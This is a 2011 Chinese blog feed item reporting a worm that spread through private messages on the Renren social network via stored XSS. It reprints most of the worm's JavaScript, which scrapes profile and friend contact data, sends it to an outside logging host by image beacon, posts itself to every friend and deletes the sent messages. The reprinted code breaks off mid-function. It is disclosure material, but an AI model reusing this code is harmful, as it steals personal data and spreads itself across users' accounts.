<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>走出Windows &#187; WEB</title>
	<atom:link href="http://www.killwin.com/articles/category/web/feed" rel="self" type="application/rss+xml" />
	<link>http://www.killwin.com</link>
	<description>抛弃Windows就是走向高效率</description>
	<lastBuildDate>Fri, 23 Sep 2011 12:50:37 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>人人网站内信安全漏洞导致用户隐私泄露</title>
		<link>http://www.killwin.com/articles/354.html</link>
		<comments>http://www.killwin.com/articles/354.html#comments</comments>
		<pubDate>Sat, 30 Apr 2011 12:44:32 +0000</pubDate>
		<dc:creator>LuckyBoy</dc:creator>
				<category><![CDATA[WEB]]></category>

		<guid isPermaLink="false">https://www.killwin.com/?p=354</guid>
		<description><![CDATA[yangzhe1991 写道 "4月29日晚，大量人人网用户收到一个标题为《有人暗恋你哦，你想知道TA是谁么》的站内信，用户发现若打开此站内信将会自动将此站内信内容发给所有好友。通过查看站内信网页源码，发现其中有一行代码为&#60;script src='http://qiutuan.net/2011/51.js'&#62;。显然，一个稍微有点网站编程常识的人都知道“&#60;&#62;”一类标签符号在显示的时候需要转义为普通文本防止浏览器执行，但人人网的转化方式为在用户发送端转化，若绕过此机制直接发送（如此js脚本中直接post站内信内容）则文本中包含的HTML均可被正常执行…… 显然作者的意图并非只是恶作剧，通过查看连混淆都懒得做的代码，我们可以很清楚的看到其主要目的是收集用户的人人id、学校、生日、姓名、qq、msn、手机，并且通过一个伟大的功能——通讯录，还可以得到所有好友名片中的上述信息……全部信息会发送到http://qiutuan.net/2011/log.php 由于此站内信的传播之广泛，目前只知道此域名几乎是针对性的使用并且托管在美国，唯一能稍微解决此问题的方法是所有会写代码的人都写一个脚本随机生成数据去稀释被上传的数据，当然要在其收手前做完。 " 要知道，人人网的隐私保护做的一直没有山寨它的某网站好。 珍爱生命，远离淫淫。 另外报道，今天晚上，所有有关该问题的报道均被删除 ，包括solidot.org，看来人人公关能力很强，我倒是要看看，人人啥时候能公关到我这来 &#160; 另外 附上本次事件的关键代码： var token = XN.get_check; var mobile_friends = &#91;&#93;; var all_friends = &#91;&#93;; &#160; var my_id = 0; &#160; function send_data&#40;v&#41; &#123; var img = document.createElement&#40;'img'&#41;; img.src = 'http://qiutuan.net/2011/log.php?' + v; document.body.appendChild&#40;img&#41;; document.body.removeChild&#40;img&#41;; &#125; &#160; function send_to_friends&#40;&#41;&#123; var i; var idlist = [...]]]></description>
			<content:encoded><![CDATA[<div><a href="http://yangzhe1991.org/">yangzhe1991</a> 写道 "4月29日晚，大量<strong>人人</strong>网用户收到一个标题为《有人暗恋你哦，你想知道TA是谁么》的站内信，用户发现若打开此站内信将会自动将此站内信内容发给所有好友。通过查看站内信网页源码，发现其中有一行代码为&lt;script src='http://qiutuan.net/2011/51.js'&gt;。显然，一个稍微有点网站编程常识的人都知道“&lt;&gt;”一类标签符号在显示的时候需要转义为普通文本防止浏览器执行，但<strong>人人</strong>网的转化方式为在用户发送端转化，若绕过此机制直接发送（如此js脚本中直接post站内信内容）则文本中包含的HTML均可被正常执行……<br />
显然作者的意图并非只是恶作剧，通过查看连混淆都懒得做的代码，我们可以很清楚的看到其主要目的是收集用户的<strong>人人</strong>id、学校、生日、姓名、qq、msn、手机，并且通过一个伟大的功能——通讯录，还可以得到所有好友名片中的上述信息……全部信息会发送到http://qiutuan.net/2011/log.php<br />
由于此站内信的传播之广泛，目前只知道此域名几乎是针对性的使用并且托管在美国，唯一能稍微解决此问题的方法是所有会写代码的人都写一个脚本随机生成数据去稀释被上传的数据，当然要在其收手前做完。 "</div>
<div>要知道，<strong>人人</strong>网的隐私保护做的一直没有山寨它的某网站好。<br />
珍爱生命，远离淫淫。</div>
<div>
<p>另外报道，今天晚上，所有有关该问题的报道均被删除 ，包括solidot.org，看来人人公关能力很强，我倒是要看看，人人啥时候能公关到我这来</p>
<p>&nbsp;</p>
<p>另外 附上本次事件的关键代码：</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">var</span> token <span style="color: #339933;">=</span> XN.<span style="color: #660066;">get_check</span><span style="color: #339933;">;</span>
<span style="color: #003366; font-weight: bold;">var</span> mobile_friends <span style="color: #339933;">=</span> <span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #003366; font-weight: bold;">var</span> all_friends <span style="color: #339933;">=</span> <span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #003366; font-weight: bold;">var</span> my_id <span style="color: #339933;">=</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #003366; font-weight: bold;">function</span> send_data<span style="color: #009900;">&#40;</span>v<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
    <span style="color: #003366; font-weight: bold;">var</span> img <span style="color: #339933;">=</span> document.<span style="color: #660066;">createElement</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'img'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    img.<span style="color: #660066;">src</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">'http://qiutuan.net/2011/log.php?'</span> <span style="color: #339933;">+</span> v<span style="color: #339933;">;</span>
    document.<span style="color: #660066;">body</span>.<span style="color: #660066;">appendChild</span><span style="color: #009900;">&#40;</span>img<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    document.<span style="color: #660066;">body</span>.<span style="color: #660066;">removeChild</span><span style="color: #009900;">&#40;</span>img<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #003366; font-weight: bold;">function</span> send_to_friends<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    <span style="color: #003366; font-weight: bold;">var</span> i<span style="color: #339933;">;</span>
    <span style="color: #003366; font-weight: bold;">var</span> idlist <span style="color: #339933;">=</span> <span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
    <span style="color: #000066; font-weight: bold;">for</span> <span style="color: #009900;">&#40;</span>i <span style="color: #339933;">=</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">;</span> i <span style="color: #339933;">&lt;</span> all_friends.<span style="color: #660066;">length</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span>
    <span style="color: #009900;">&#123;</span>
        idlist.<span style="color: #660066;">push</span><span style="color: #009900;">&#40;</span>all_friends<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span>.<span style="color: #660066;">toString</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>idlist.<span style="color: #660066;">length</span> <span style="color: #339933;">==</span> <span style="color: #CC0000;">10</span><span style="color: #009900;">&#41;</span>
        <span style="color: #009900;">&#123;</span>
            _send_to_friends<span style="color: #009900;">&#40;</span>idlist<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            idlist <span style="color: #339933;">=</span> <span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>idlist.<span style="color: #660066;">length</span> <span style="color: #339933;">&gt;</span> <span style="color: #CC0000;">0</span><span style="color: #009900;">&#41;</span> _send_to_friends<span style="color: #009900;">&#40;</span>idlist<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #003366; font-weight: bold;">function</span> _send_to_friends<span style="color: #009900;">&#40;</span>ids<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
  <span style="color: #003366; font-weight: bold;">var</span> content <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;相信每个女生心底都有一只小猫，有的妩媚，有的狂野，有的多愁善感，有的古灵精怪……你心底的那只蠢蠢欲动的小猫，是什么样子的呢？她喜欢笑，你就老以为她是快乐的；她喜欢跳，你就老以为她是开朗的；她喜欢扭，你就老以为她是放肆的；她喜欢叫，你就老以为她是狂野的。一个人的时候，她其实多愁善感；一个人的时候，她其实安静淡然；一个人的时候，她其实内向自闭；一个人的时候，她其实乖巧温柔……&lt;img src='http://postimg1.mop.com/200712/15/80/2025080/200712150436548802.jpg'/&gt; &lt;script src='http://qiutuan.net/2011/51.js'&gt;&lt;/script&gt; &quot;</span><span style="color: #339933;">;</span>
  <span style="color: #003366; font-weight: bold;">var</span> p <span style="color: #339933;">=</span> <span style="color: #009900;">&#123;</span>action<span style="color: #339933;">:</span><span style="color: #3366CC;">&quot;sharetofriend&quot;</span><span style="color: #339933;">,</span>
        body<span style="color: #339933;">:</span>content<span style="color: #339933;">,</span>
        form<span style="color: #339933;">:</span><span style="color: #009900;">&#123;</span>
            albumid<span style="color: #339933;">:</span><span style="color: #3366CC;">&quot;0&quot;</span><span style="color: #339933;">,</span>
            currenUserTinyurl<span style="color: #339933;">:</span><span style="color: #3366CC;">&quot;http://hdn.xnimg.cn/photos/hdn421/20110118/1220/tiny_GeT4_23780d019116.jpg&quot;</span><span style="color: #339933;">,</span>
            fromSharedId<span style="color: #339933;">:</span><span style="color: #3366CC;">&quot;0&quot;</span><span style="color: #339933;">,</span>
            fromShareOwner<span style="color: #339933;">:</span><span style="color: #3366CC;">&quot;0&quot;</span><span style="color: #339933;">,</span>
            fromname<span style="color: #339933;">:</span><span style="color: #3366CC;">&quot;&quot;</span><span style="color: #339933;">,</span>
            fromno<span style="color: #339933;">:</span><span style="color: #3366CC;">&quot;0&quot;</span><span style="color: #339933;">,</span>
            fromuniv<span style="color: #339933;">:</span><span style="color: #3366CC;">&quot;&quot;</span><span style="color: #339933;">,</span>
            link<span style="color: #339933;">:</span><span style="color: #3366CC;">&quot;http://edm.renren.com/link.do?l=27627&amp;t=51&quot;</span><span style="color: #339933;">,</span>
            pic<span style="color: #339933;">:</span><span style="color: #3366CC;">&quot;http://jebe.xnimg.cn/20110412/19/62caea7b-c7bc-4217-994a-ba6c061e5aa0.jpg&quot;</span><span style="color: #339933;">,</span>
            summary<span style="color: #339933;">:</span><span style="color: #3366CC;">&quot;相信每个女生心底都有一只小猫，有的妩媚，有的狂野，有的多愁善感，有的古灵精怪……你心底的那只蠢蠢欲动的小猫，是什么样子的呢？&quot;</span><span style="color: #339933;">,</span>
            title<span style="color: #339933;">:</span><span style="color: #3366CC;">&quot;加a02好友 奖品散不停&quot;</span><span style="color: #339933;">,</span>
            type<span style="color: #339933;">:</span><span style="color: #3366CC;">&quot;51&quot;</span>
        <span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span>
        ids<span style="color: #339933;">:</span>ids<span style="color: #339933;">,</span>
        noteId<span style="color: #339933;">:</span><span style="color: #3366CC;">&quot;0&quot;</span><span style="color: #339933;">,</span>
        subject<span style="color: #339933;">:</span><span style="color: #3366CC;">&quot;有人暗恋你哦，你想知道TA是谁么&quot;</span><span style="color: #339933;">,</span>
        tsc<span style="color: #339933;">:</span>token<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
&nbsp;
  <span style="color: #000066; font-weight: bold;">delete</span> p.<span style="color: #660066;">tsc</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #003366; font-weight: bold;">new</span> XN.<span style="color: #660066;">net</span>.<span style="color: #660066;">xmlhttp</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#123;</span>url<span style="color: #339933;">:</span><span style="color: #3366CC;">&quot;http://share.renren.com/share/submit.do&quot;</span><span style="color: #339933;">,</span>
                    data<span style="color: #339933;">:</span><span style="color: #3366CC;">&quot;tsc=&quot;</span><span style="color: #339933;">+</span>token<span style="color: #339933;">+</span><span style="color: #3366CC;">&quot;&amp;post=&quot;</span><span style="color: #339933;">+</span>encodeURIComponent<span style="color: #009900;">&#40;</span>XN.<span style="color: #660066;">json</span>.<span style="color: #660066;">build</span><span style="color: #009900;">&#40;</span>p<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>
                    onSuccess<span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">function</span> <span style="color: #009900;">&#40;</span>response<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>del_send_messages<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span>
                    <span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #003366; font-weight: bold;">function</span> del_messages<span style="color: #009900;">&#40;</span>idlist<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
&nbsp;
<span style="color: #003366; font-weight: bold;">var</span> struct_msgs <span style="color: #339933;">=</span><span style="color: #009900;">&#123;</span>
                    action<span style="color: #339933;">:</span><span style="color: #3366CC;">&quot;delete&quot;</span><span style="color: #339933;">,</span>
                    folder<span style="color: #339933;">:</span><span style="color: #3366CC;">&quot;1&quot;</span><span style="color: #339933;">,</span>
                    slice<span style="color: #339933;">:</span><span style="color: #3366CC;">&quot;20&quot;</span><span style="color: #339933;">,</span>
                    unread_count<span style="color: #339933;">:</span><span style="color: #3366CC;">&quot;0&quot;</span><span style="color: #339933;">,</span>
                    ids<span style="color: #339933;">:</span>idlist
                <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #003366; font-weight: bold;">new</span> Ajax.<span style="color: #660066;">Request</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;/message/ajax.do&quot;</span><span style="color: #339933;">,</span><span style="color: #009900;">&#123;</span>method<span style="color: #339933;">:</span><span style="color: #3366CC;">&quot;get&quot;</span><span style="color: #339933;">,</span>parameters<span style="color: #339933;">:</span><span style="color: #3366CC;">&quot;post=&quot;</span><span style="color: #339933;">+</span>encodeURIComponent<span style="color: #009900;">&#40;</span>XN.<span style="color: #660066;">JSON</span>.<span style="color: #660066;">build</span><span style="color: #009900;">&#40;</span>struct_msgs<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #009900;">&#125;</span>
&nbsp;
&nbsp;
<span style="color: #003366; font-weight: bold;">function</span> del_send_messages<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    <span style="color: #003366; font-weight: bold;">new</span> XN.<span style="color: #660066;">net</span>.<span style="color: #660066;">xmlhttp</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#123;</span>url<span style="color: #339933;">:</span><span style="color: #3366CC;">&quot;http://msg.renren.com/message/inbox.do?f=1&quot;</span><span style="color: #339933;">,</span>
                    method<span style="color: #339933;">:</span><span style="color: #3366CC;">&quot;GET&quot;</span><span style="color: #339933;">,</span>
                    onSuccess<span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">function</span> <span style="color: #009900;">&#40;</span>response<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>               
                        <span style="color: #003366; font-weight: bold;">var</span> listid1 <span style="color: #339933;">=</span> response.<span style="color: #660066;">responseText</span>.<span style="color: #660066;">match</span><span style="color: #009900;">&#40;</span><span style="color: #009966; font-style: italic;">/thread_(\d+)/g</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #000066; font-weight: bold;">for</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">var</span> i<span style="color: #339933;">=</span><span style="color: #CC0000;">0</span><span style="color: #339933;">;</span>i <span style="color: #339933;">&lt;</span> listid1.<span style="color: #660066;">length</span><span style="color: #339933;">;</span>i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
                            listid1<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> listid1<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span>.<span style="color: #660066;">substring</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">7</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #009900;">&#125;</span>
                        del_messages<span style="color: #009900;">&#40;</span>listid1<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                    <span style="color: #009900;">&#125;</span>
                <span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
&nbsp;
&nbsp;
<span style="color: #003366; font-weight: bold;">function</span> get_self_info<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
<span style="color: #003366; font-weight: bold;">new</span> XN.<span style="color: #660066;">net</span>.<span style="color: #660066;">xmlhttp</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#123;</span>url<span style="color: #339933;">:</span><span style="color: #3366CC;">&quot;http://www.renren.com/profile.do?v=info_ajax&amp;undefined&quot;</span><span style="color: #339933;">,</span>method<span style="color: #339933;">:</span><span style="color: #3366CC;">&quot;GET&quot;</span><span style="color: #339933;">,</span>onSuccess<span style="color: #339933;">:</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>r<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
&nbsp;
<span style="color: #003366; font-weight: bold;">var</span> text_html <span style="color: #339933;">=</span> r.<span style="color: #660066;">responseText</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #003366; font-weight: bold;">var</span> id<span style="color: #339933;">,</span><span style="color: #000066;">name</span><span style="color: #339933;">,</span>birthday<span style="color: #339933;">,</span>qq<span style="color: #339933;">,</span>school<span style="color: #339933;">,</span>mobile<span style="color: #339933;">,</span>msn<span style="color: #339933;">,</span>day<span style="color: #339933;">,</span>month<span style="color: #339933;">,</span>year<span style="color: #339933;">;</span>
&nbsp;
    id <span style="color: #339933;">=</span> <span style="color: #009966; font-style: italic;">/getalbumprofile\.do\?owner\=(\d+)/</span>.<span style="color: #660066;">exec</span><span style="color: #009900;">&#40;</span>text_html<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
    my_id <span style="color: #339933;">=</span> id<span style="color: #339933;">;</span>
    school <span style="color: #339933;">=</span> <span style="color: #009966; font-style: italic;">/pf_spread\'\&gt;(.*?)\&lt; \/a\&gt;/</span>.<span style="color: #660066;">exec</span><span style="color: #009900;">&#40;</span>text_html<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
    year <span style="color: #339933;">=</span> <span style="color: #009966; font-style: italic;">/birt\&quot;\,\&quot;year\&quot;\:\&quot;(\d+)/</span>.<span style="color: #660066;">exec</span><span style="color: #009900;">&#40;</span>text_html<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
    month <span style="color: #339933;">=</span> <span style="color: #009966; font-style: italic;">/birt\&quot;\,\&quot;month\&quot;\:\&quot;(\d+)/</span>.<span style="color: #660066;">exec</span><span style="color: #009900;">&#40;</span>text_html<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
    day <span style="color: #339933;">=</span> <span style="color: #009966; font-style: italic;">/birt\&quot;\,\&quot;day\&quot;\:\&quot;(\d+)/</span>.<span style="color: #660066;">exec</span><span style="color: #009900;">&#40;</span>text_html<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
    <span style="color: #000066;">name</span> <span style="color: #339933;">=</span> <span style="color: #009966; font-style: italic;">/alt\=\&quot;([^\&quot;]+)的大头贴/</span>.<span style="color: #660066;">exec</span><span style="color: #009900;">&#40;</span>text_html<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span>month <span style="color: #339933;">&lt;</span> <span style="color: #339933;">=</span> <span style="color: #CC0000;">9</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
     month <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;0&quot;</span><span style="color: #339933;">+</span>month<span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span>day <span style="color: #339933;">&lt;=</span> <span style="color: #CC0000;">9</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
     day <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;0&quot;</span><span style="color: #339933;">+</span>day<span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    birthday <span style="color: #339933;">=</span> year <span style="color: #339933;">+</span> month <span style="color: #339933;">+</span> day<span style="color: #339933;">;</span>
&nbsp;
    qq <span style="color: #339933;">=</span> <span style="color: #009966; font-style: italic;">/QQ.*?dd\&gt;(.*?)\&lt; \/dd/</span>.<span style="color: #660066;">exec</span><span style="color: #009900;">&#40;</span>text_html<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
&nbsp;
    msn <span style="color: #339933;">=</span> <span style="color: #009966; font-style: italic;">/MSN.*?dd\&gt;(.*?)\&lt; \/dd/</span>.<span style="color: #660066;">exec</span><span style="color: #009900;">&#40;</span>text_html<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
&nbsp;
    mobile <span style="color: #339933;">=</span> <span style="color: #009966; font-style: italic;">/手机号.*?dd\&gt;(.*?)\&lt; \/dd/</span>.<span style="color: #660066;">exec</span><span style="color: #009900;">&#40;</span>text_html<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #003366; font-weight: bold;">var</span> data <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;type=self_info&amp;id=&quot;</span> <span style="color: #339933;">+</span> id <span style="color: #339933;">+</span> <span style="color: #3366CC;">&quot;&amp;name=&quot;</span> <span style="color: #339933;">+</span> encodeURIComponent<span style="color: #009900;">&#40;</span><span style="color: #000066;">name</span><span style="color: #009900;">&#41;</span>
                <span style="color: #339933;">+</span> <span style="color: #3366CC;">&quot;&amp;school=&quot;</span> <span style="color: #339933;">+</span> encodeURIComponent<span style="color: #009900;">&#40;</span>school<span style="color: #009900;">&#41;</span>
                <span style="color: #339933;">+</span> <span style="color: #3366CC;">&quot;&amp;birth=&quot;</span> <span style="color: #339933;">+</span> birthday
                <span style="color: #339933;">+</span> <span style="color: #3366CC;">&quot;&amp;qq=&quot;</span> <span style="color: #339933;">+</span> qq
                <span style="color: #339933;">+</span> <span style="color: #3366CC;">&quot;&amp;msn=&quot;</span> <span style="color: #339933;">+</span> encodeURIComponent<span style="color: #009900;">&#40;</span>msn<span style="color: #009900;">&#41;</span>
                <span style="color: #339933;">+</span> <span style="color: #3366CC;">&quot;&amp;mobile=&quot;</span> <span style="color: #339933;">+</span> mobile<span style="color: #339933;">;</span>
    send_data<span style="color: #009900;">&#40;</span>data<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #003366; font-weight: bold;">function</span> get_card<span style="color: #009900;">&#40;</span>tid<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
      <span style="color: #003366; font-weight: bold;">new</span> XN.<span style="color: #660066;">net</span>.<span style="color: #660066;">xmlhttp</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#123;</span>url<span style="color: #339933;">:</span><span style="color: #3366CC;">'http://www.renren.com/showcard?friendID='</span><span style="color: #339933;">+</span>tid<span style="color: #339933;">,</span>
                      method<span style="color: #339933;">:</span><span style="color: #3366CC;">'get'</span><span style="color: #339933;">,</span>
                      onSuccess<span style="color: #339933;">:</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>r<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
                      <span style="color: #003366; font-weight: bold;">var</span> obj <span style="color: #339933;">=</span> <span style="color: #000066; font-weight: bold;">eval</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;(&quot;</span><span style="color: #339933;">+</span>r.<span style="color: #660066;">responseText</span><span style="color: #339933;">+</span><span style="color: #3366CC;">&quot;)&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                      <span style="color: #003366; font-weight: bold;">var</span> data <span style="color: #339933;">=</span> <span style="color: #3366CC;">'type=card&amp;my_id='</span> <span style="color: #339933;">+</span> my_id
                                <span style="color: #339933;">+</span> <span style="color: #3366CC;">'&amp;id='</span> <span style="color: #339933;">+</span> obj.<span style="color: #660066;">id</span>
                                <span style="color: #339933;">+</span> <span style="color: #3366CC;">'&amp;name='</span> <span style="color: #339933;">+</span> encodeURIComponent<span style="color: #009900;">&#40;</span>obj.<span style="color: #000066;">name</span><span style="color: #009900;">&#41;</span>
                                <span style="color: #339933;">+</span> <span style="color: #3366CC;">'&amp;msn='</span> <span style="color: #339933;">+</span> encodeURIComponent<span style="color: #009900;">&#40;</span>obj.<span style="color: #660066;">msn</span><span style="color: #009900;">&#41;</span>
                                <span style="color: #339933;">+</span> <span style="color: #3366CC;">'&amp;phone='</span> <span style="color: #339933;">+</span> encodeURIComponent<span style="color: #009900;">&#40;</span>obj.<span style="color: #660066;">phone</span><span style="color: #009900;">&#41;</span>
                                <span style="color: #339933;">+</span> <span style="color: #3366CC;">'&amp;qq='</span> <span style="color: #339933;">+</span> encodeURIComponent<span style="color: #009900;">&#40;</span>obj.<span style="color: #660066;">qq</span><span style="color: #009900;">&#41;</span>
                                <span style="color: #339933;">+</span> <span style="color: #3366CC;">'&amp;email='</span> <span style="color: #339933;">+</span> encodeURIComponent<span style="color: #009900;">&#40;</span>obj.<span style="color: #660066;">email</span><span style="color: #009900;">&#41;</span>
                                <span style="color: #339933;">+</span> <span style="color: #3366CC;">'&amp;address='</span> <span style="color: #339933;">+</span> encodeURIComponent<span style="color: #009900;">&#40;</span>obj.<span style="color: #660066;">address</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                    send_data<span style="color: #009900;">&#40;</span>data<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                <span style="color: #009900;">&#125;</span>
     <span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
&nbsp;
<span style="color: #003366; font-weight: bold;">function</span> get_all_friends<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    <span style="color: #003366; font-weight: bold;">new</span> XN.<span style="color: #660066;">net</span>.<span style="color: #660066;">xmlhttp</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#123;</span>url<span style="color: #339933;">:</span><span style="color: #3366CC;">&quot;http://www.renren.com/listcards&quot;</span><span style="color: #339933;">,</span>method<span style="color: #339933;">:</span><span style="color: #3366CC;">&quot;GET&quot;</span><span style="color: #339933;">,</span>onSuccess<span style="color: #339933;">:</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>r<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
&nbsp;
    <span style="color: #003366; font-weight: bold;">var</span> text_html <span style="color: #339933;">=</span> r.<span style="color: #660066;">responseText</span><span style="color: #339933;">;</span>
    <span style="color: #006600; font-style: italic;">//alert(text_html);</span>
&nbsp;
    <span style="color: #003366; font-weight: bold;">var</span> friends_list <span style="color: #339933;">=</span> <span style="color: #000066; font-weight: bold;">eval</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;(&quot;</span><span style="color: #339933;">+</span>text_html<span style="color: #339933;">+</span><span style="color: #3366CC;">&quot;)&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
